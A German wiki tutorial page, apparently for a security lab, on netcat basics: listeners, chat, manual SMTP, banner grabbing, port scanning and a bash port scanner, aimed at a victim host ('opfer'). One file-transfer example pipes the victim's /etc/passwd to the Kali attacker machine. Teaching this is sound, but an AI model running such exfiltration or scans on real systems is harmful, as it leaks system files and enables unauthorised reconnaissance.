Netcat Basics: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
(→Scan) |
|||
| (20 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt) | |||
| Zeile 1: | Zeile 1: | ||
| − | =Chat= | + | = netcat (nc) – Basics = |
| − | + | ||
| − | + | '''netcat''' ist das „Schweizer Taschenmesser" für TCP/UDP: lauschen, verbinden, Daten schieben, Ports prüfen. | |
| − | + | ||
| − | + | ; Hinweis zur Variante | |
| − | =Filetransfer= | + | : Beispiele hier mit ''nc.traditional'' (<code>-l -p</code>). Bei OpenBSD-''nc'' (Kali-Default) lautet der Listener nur <code>nc -l 6789</code> – dort ist <code>-p</code> der Quellport. <code>-z</code>/<code>-w</code> gibt es bei OpenBSD-nc, nicht bei ''ncat''. |
| − | + | ||
| − | + | == Listener prüfen == | |
| − | + | ||
| − | + | <pre> | |
| − | = | + | # auf kali: lauschen |
| − | + | nc -l -p 6789 | |
| − | + | ||
| − | 220 | + | # auf kali: läuft der Listener? |
| − | = | + | ss -lntp | grep 6789 |
| − | + | </pre> | |
| − | + | ||
| − | 0 | + | == Chat == |
| − | + | ||
| − | * | + | <pre> |
| − | + | # lokal (zwei Terminals auf kali) | |
| − | + | nc -l -p 6789 # Server | |
| − | + | nc kali 6789 # Client | |
| − | + | ||
| + | # übers Netz | ||
| + | nc -l -p 6789 # auf kali | ||
| + | nc kali 6789 # auf opfer | ||
| + | </pre> | ||
| + | |||
| + | == Filetransfer == | ||
| + | |||
| + | <pre> | ||
| + | nc -l -p 6789 > /tmp/passwd # auf kali (Empfänger) | ||
| + | cat /etc/passwd | nc kali 6789 # auf opfer (Sender) | ||
| + | </pre> | ||
| + | |||
| + | == Mailserver verbinden == | ||
| + | |||
| + | SMTP von Hand sprechen: | ||
| + | |||
| + | <pre> | ||
| + | nc -C mail.tcpdump.de 25 | ||
| + | </pre> | ||
| + | |||
| + | 220 mail.tcpdump.de ESMTP Postfix (Ubuntu) | ||
| + | '''ehlo kit.de''' | ||
| + | 250 ... | ||
| + | '''mail from: kit13@kit.de''' | ||
| + | 250 2.1.0 Ok | ||
| + | '''rcpt to: thomas@xinux.de''' | ||
| + | 250 2.1.5 Ok | ||
| + | '''data''' | ||
| + | 354 End data with <CR><LF>.<CR><LF> | ||
| + | '''Subject: testmail vom kit''' | ||
| + | (Leerzeile) | ||
| + | '''Hallo Thomas, Gruss vom Kit''' | ||
| + | '''.''' | ||
| + | 250 2.0.0 Ok: queued | ||
| + | '''quit''' | ||
| + | 221 2.0.0 Bye | ||
| + | |||
| + | == Bannergrabbing == | ||
| + | |||
| + | <pre> | ||
| + | # Webserver (HTTP/1.0, kein Host-Header nötig) | ||
| + | printf 'HEAD / HTTP/1.0\r\n\r\n' | nc opfer.secure.local 80 | grep -i '^Server' | ||
| + | # -> Server: Apache/2.4.29 (Ubuntu) | ||
| + | oder | ||
| + | echo -e 'HEAD / HTTP/1.0\r\n\r\n' | nc opfer.secure.local 80 | grep -i '^Server' | ||
| + | # -> Server: Apache/2.4.29 (Ubuntu) | ||
| + | |||
| + | # SSH (Banner kommt sofort) | ||
| + | nc opfer 22 | head -1 | ||
| + | # -> SSH-2.0-OpenSSH_7.6p1 Ubuntu-4 | ||
| + | |||
| + | echo -e 'SSH-2.0-OpenSSH_7.6p1 Ubuntu-4\r\n\r\n' | nc opfer 22 | ||
| + | |||
| + | SSH-2.0-OpenSSH_7.6p1 Ubuntu-4 | ||
| + | 4�.:� | ||
| + | *�9S��b:(�curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1Assh-rsa,rsa-sha2-512,rsa-sha2-256,ecdsa-sha2-nistp256,ssh-ed25519lchacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.comlchacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com�umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1�umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1none,zlib@openssh.comnone,zlib@openssh.com^C | ||
| + | |||
| + | </pre> | ||
| + | |||
| + | == Portscan == | ||
| + | |||
| + | <pre> | ||
| + | # einzelner Port: Exit-Code 0 = offen, 1 = zu | ||
| + | nc -w 1 -z opfer 9999 ; echo $? | ||
| + | |||
| + | # Bereich, verbose | ||
| + | nc -z -v opfer 22-80 | ||
| + | </pre> | ||
| + | |||
| + | opfer [10.0.10.104] 80 (http) open | ||
| + | opfer [10.0.10.104] 25 (smtp) open | ||
| + | opfer [10.0.10.104] 22 (ssh) open | ||
| + | |||
| + | == Eigener Scanner == | ||
| + | |||
| + | <pre> | ||
| + | #!/bin/bash | ||
| + | HOST=$1 | ||
| + | START=$2 | ||
| + | STOP=$3 | ||
| + | for ((i=START; i<=STOP; i++)); do | ||
| + | if nc -w 1 -z "$HOST" "$i" 2>/dev/null; then | ||
| + | echo "$HOST $i open" | ||
| + | fi | ||
| + | done | ||
| + | </pre> | ||
| + | |||
| + | <pre> | ||
| + | ./scan opfer 20 100 | ||
| + | </pre> | ||
| + | |||
| + | == Siehe auch == | ||
| + | |||
| + | * [[Ss]] | ||
| + | * [[Ip addr]] | ||
Aktuelle Version vom 16. Juni 2026, 08:25 Uhr
netcat (nc) – Basics
netcat ist das „Schweizer Taschenmesser" für TCP/UDP: lauschen, verbinden, Daten schieben, Ports prüfen.
- Hinweis zur Variante
- Beispiele hier mit nc.traditional (
-l -p). Bei OpenBSD-nc (Kali-Default) lautet der Listener nurnc -l 6789– dort ist-pder Quellport.-z/-wgibt es bei OpenBSD-nc, nicht bei ncat.
Listener prüfen
# auf kali: lauschen nc -l -p 6789 # auf kali: läuft der Listener? ss -lntp | grep 6789
Chat
# lokal (zwei Terminals auf kali) nc -l -p 6789 # Server nc kali 6789 # Client # übers Netz nc -l -p 6789 # auf kali nc kali 6789 # auf opfer
Filetransfer
nc -l -p 6789 > /tmp/passwd # auf kali (Empfänger) cat /etc/passwd | nc kali 6789 # auf opfer (Sender)
Mailserver verbinden
SMTP von Hand sprechen:
nc -C mail.tcpdump.de 25
220 mail.tcpdump.de ESMTP Postfix (Ubuntu) ehlo kit.de 250 ... mail from: kit13@kit.de 250 2.1.0 Ok rcpt to: thomas@xinux.de 250 2.1.5 Ok data 354 End data with <CR><LF>.<CR><LF> Subject: testmail vom kit (Leerzeile) Hallo Thomas, Gruss vom Kit . 250 2.0.0 Ok: queued quit 221 2.0.0 Bye
Bannergrabbing
# Webserver (HTTP/1.0, kein Host-Header nötig)
printf 'HEAD / HTTP/1.0\r\n\r\n' | nc opfer.secure.local 80 | grep -i '^Server'
# -> Server: Apache/2.4.29 (Ubuntu)
oder
echo -e 'HEAD / HTTP/1.0\r\n\r\n' | nc opfer.secure.local 80 | grep -i '^Server'
# -> Server: Apache/2.4.29 (Ubuntu)
# SSH (Banner kommt sofort)
nc opfer 22 | head -1
# -> SSH-2.0-OpenSSH_7.6p1 Ubuntu-4
echo -e 'SSH-2.0-OpenSSH_7.6p1 Ubuntu-4\r\n\r\n' | nc opfer 22
SSH-2.0-OpenSSH_7.6p1 Ubuntu-4
4�.:�
*�9S��b:(�curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1Assh-rsa,rsa-sha2-512,rsa-sha2-256,ecdsa-sha2-nistp256,ssh-ed25519lchacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.comlchacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com�umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1�umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1none,zlib@openssh.comnone,zlib@openssh.com^C
Portscan
# einzelner Port: Exit-Code 0 = offen, 1 = zu nc -w 1 -z opfer 9999 ; echo $? # Bereich, verbose nc -z -v opfer 22-80
opfer [10.0.10.104] 80 (http) open opfer [10.0.10.104] 25 (smtp) open opfer [10.0.10.104] 22 (ssh) open
Eigener Scanner
#!/bin/bash
HOST=$1
START=$2
STOP=$3
for ((i=START; i<=STOP; i++)); do
if nc -w 1 -z "$HOST" "$i" 2>/dev/null; then
echo "$HOST $i open"
fi
done
./scan opfer 20 100